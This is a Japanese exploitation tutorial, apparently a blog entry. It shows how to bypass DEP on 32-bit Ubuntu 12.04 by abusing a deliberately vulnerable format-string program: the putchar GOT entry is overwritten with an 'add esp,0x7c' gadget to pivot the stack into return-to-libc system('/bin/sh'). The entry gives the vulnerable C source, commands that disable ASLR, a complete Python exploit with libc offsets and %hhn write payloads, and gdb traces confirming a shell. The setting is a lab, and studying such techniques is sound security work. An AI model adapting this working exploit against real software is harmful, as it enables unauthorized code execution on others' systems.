GOT overwriteとStack pivotによるDEP回避(add esp型)
一つ前のエントリではヒープオーバーフローを利用したGOT overwriteを行い、ジャンプ時eaxレジスタにバッファのアドレスが入っていることを利用することによりStack pivotを行った。
しかし、そのようなライブラリ関数呼び出しが見つからない場合もありうる。
この場合xchg esp,eaxのような形のROP gadgetは使えないが、代わりにadd esp,[some constant]の形のgadgetを使うことでスタックの頭を自分がコントロール可能なバッファの中に移すことができる場合がある。
ここでは、add esp,[some constant]の形のgadgetを使ったStack pivotを行い、Return-to-libcに繋げることによるシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
xchg esp,eaxの形のStack pivotが使えない例として、次のようなformat string attackが可能なコードを用意する。
/* fsb.c */
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[100];
printf("[+] buf = %p\n", buf);
strncpy(buf, argv[1], 100);
printf(buf);
putchar('\n');
return 0;
}
ASLR無効、DEP、SSP有効でコンパイル・実行し、format string attackが可能であることを確認する。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ gcc fsb.c fsb.c: In function ‘main’: fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security] $ ./a.out 'AAAA%10$x' [+] buf = 0xbffff738 AAAA41414141
ライブラリ関数呼び出し時のスタックの状態を調べてみる
一つ前のエントリと同じように、まずはgdbを使ってputchar関数呼び出し前のレジスタの値を調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: ... 0x080484ec <+88>: lea eax,[esp+0x28] 0x080484f0 <+92>: mov DWORD PTR [esp],eax 0x080484f3 <+95>: call 0x8048380 <printf@plt> 0x080484f8 <+100>: mov DWORD PTR [esp],0xa 0x080484ff <+107>: call 0x80483c0 <putchar@plt> ... End of assembler dump. (gdb) b *main+107 Breakpoint 1 at 0x80484ff (gdb) run AAAA Starting program: /home/user/tmp/a.out AAAA [+] buf = 0xbffff708 Breakpoint 1, 0x080484ff in main () (gdb) i r eax 0x4 4 ecx 0x0 0 edx 0x0 0 ebx 0xb7fd0ff4 -1208152076 esp 0xbffff6e0 0xbffff6e0 ebp 0xbffff778 0xbffff778 esi 0x0 0 edi 0x0 0 eip 0x80484ff 0x80484ff <main+107> eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51
前回と異なり、バッファのアドレス(0xbffff708)が入っているレジスタはないことがわかる。 そこで、このままさらにスタックの状態を調べてみる。
(gdb) x/100wx $esp
0xbffff6e0: 0x0000000a 0xbffff93c 0x00000064 0xb7ec3b19
0xbffff6f0: 0xbffff72f 0xbffff72e 0x00000000 0xbffff814
0xbffff700: 0xbffff7b4 0x00000000 0x41414141 0x00000000
0xbffff710: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff720: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff730: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff740: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff750: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff760: 0x00000000 0x00000000 0x00000000 0xf96fd600
0xbffff770: 0x08048520 0x00000000 0x00000000 0xb7e444d3
...
(gdb) quit
A debugging session is active.
Inferior 1 [process 1230] will be killed.
Quit anyway? (y or n) y
上の結果から、espは0xbffff6e0であり、その10ワード先の0xbffff708から100バイト分のバッファが確保されていることがわかる。
今回の場合について、ROPのエントリにて使ったlist_gadgets.pyを用いてlibcのROP gadgetを調べてみると、次のようなgadgetが存在することがわかる。
$ python list_gadgets.py /lib/i386-linux-gnu/libc.so.6 > gadgets.txt $ cat gadgets.txt | grep add | grep esp ... 2db98: add esp,0x7c ...
GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後espレジスタの値が0x7cだけずれる。 そして、これはちょうど確保されたバッファの後半部分になる。 つまり、0x7cずれたespレジスタの指す部分にReturn-to-libcのスタックレイアウトを用意しておけば、それを実行させることができる。
エクスプロイトコードを書いてみる
上の説明をもとに、format string attackによりputchar関数のGOTアドレスをadd esp,0x7cを指すアドレスに書き換え、Return-to-libcに繋ぐエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen
base_libc = int(sys.argv[1], 16)
index = int(sys.argv[2])
addr_got_putchar = 0x804a010 # objdump -d -j.plt a.out
addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc.so.6 | grep " exit"
addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
addr_libc_lift_7c = base_libc + 0x2db98 # search "add esp" by list_gadgets.py
addr_libc_ret = base_libc + 0x16f8b # objdump -d /lib/i386-linux-gnu/libc.so.6 | grep ret | head
buf = struct.pack('<I', addr_got_putchar)
buf += struct.pack('<I', addr_got_putchar+1)
buf += struct.pack('<I', addr_got_putchar+2)
buf += struct.pack('<I', addr_got_putchar+3)
a = map(ord, struct.pack('<I', addr_libc_lift_7c))
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1
buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)
buf += 'A' * (4 - len(buf)%4) # alignment
buf += struct.pack('<I', addr_libc_ret) * 4 # ROP NOPs
buf += struct.pack('<I', addr_libc_system)
buf += struct.pack('<I', addr_libc_exit)
buf += struct.pack('<I', addr_libc_binsh)
with open('buf', 'wb') as f:
f.write(buf)
p = Popen(['./a.out', buf])
p.wait()
このコードは、libcのベースアドレス、フォーマット文字列までのオフセットを順に引数に取る。
また、Return-to-libcにおいてはsystem関数から/bin/shを呼び出し、その後exit関数が実行されるようにしている。
ここで、ずれたespが指す部分からsystem関数までうまく流れていくよう、いくつかretを指すアドレスを並べておくとよい。
これは、通常のプログラム実行におけるNOP命令と同じような働きをし、ROP NOPなどと呼ばれる。
gdbでlibcのベースアドレス、実行ファイルを実行してフォーマット文字列へのオフセットを調べ、それらを引数にセットしてエクスプロイトコードを実行してみる。
$ python exploit.py 0xb7e2c000 10 [+] buf = 0xbffff6e8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $ (snip)
DEPが有効な実行ファイルに対し、Stack pivotからのReturn-to-libcによりシェルが起動できていることが確認できた。
実際にespがずれた先がどのようになっているかについて、gdbで調べてみる。
$ gdb -q a.out
Reading symbols from /home/user/tmp/esplift/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
...
0x080484ff <+107>: call 0x80483c0 <putchar@plt>
...
End of assembler dump.
(gdb) b *main+107
Breakpoint 1 at 0x80484ff
(gdb) run $(cat buf)
Starting program: /home/user/tmp/esplift/a.out $(cat buf)
[+] buf = 0xbffff6a8
Breakpoint 1, 0x080484ff in main ()
(gdb) disp/i $pc
1: x/i $pc
=> 0x80484ff <main+107>: call 0x80483c0 <putchar@plt>
(gdb) si
0x080483c0 in putchar@plt ()
1: x/i $pc
=> 0x80483c0 <putchar@plt>: jmp DWORD PTR ds:0x804a010
(gdb)
0xb7e59b98 in modfl () from /lib/i386-linux-gnu/libc.so.6
1: x/i $pc
=> 0xb7e59b98 <modfl+136>: add esp,0x7c
(gdb) x/100wx $esp
0xbffff67c: 0x08048504 0x0000000a 0xbffff8ea 0x00000064
0xbffff68c: 0xb7ec4b19 0xbffff6cf 0xbffff6ce 0x00000000
0xbffff69c: 0xbffff7b4 0xbffff754 0x00000000 0x0804a010
0xbffff6ac: 0x0804a011 0x0804a012 0x0804a013 0x36333125
0xbffff6bc: 0x30312563 0x6e686824 0x25633325 0x68243131
0xbffff6cc: 0x37256e68 0x31256334 0x68682432 0x3132256e
0xbffff6dc: 0x31256330 0x68682433 0x4141416e 0xb7e42f8b
0xbffff6ec: 0xb7e42f8b 0xb7e42f8b 0xb7e42f8b 0xb7e6b430
0xbffff6fc: 0xb7e5efb0 0xb7f8dd98 0x00000000 0x00000000
0xbffff70c: 0x47a91000 0x08048520 0x00000000 0x00000000
...
(gdb) si
0xb7e59b9b in modfl () from /lib/i386-linux-gnu/libc.so.6
1: x/i $pc
=> 0xb7e59b9b <modfl+139>: ret
(gdb) x/100wx $esp
0xbffff6f8: 0xb7e6b430 0xb7e5efb0 0xb7f8dd98 0x00000000
0xbffff708: 0x00000000 0x47a91000 0x08048520 0x00000000
...
(gdb) si
0xb7e6b430 in system () from /lib/i386-linux-gnu/libc.so.6
1: x/i $pc
=> 0xb7e6b430 <system>: sub esp,0x1c
(gdb) quit
A debugging session is active.
Inferior 1 [process 21520] will be killed.
Quit anyway? (y or n) y
0xbffff67c + 0x7c = 0xbffff6f8で、たまたまsystem関数のアドレスが入っている部分にスタックの頭が移動していることがわかる。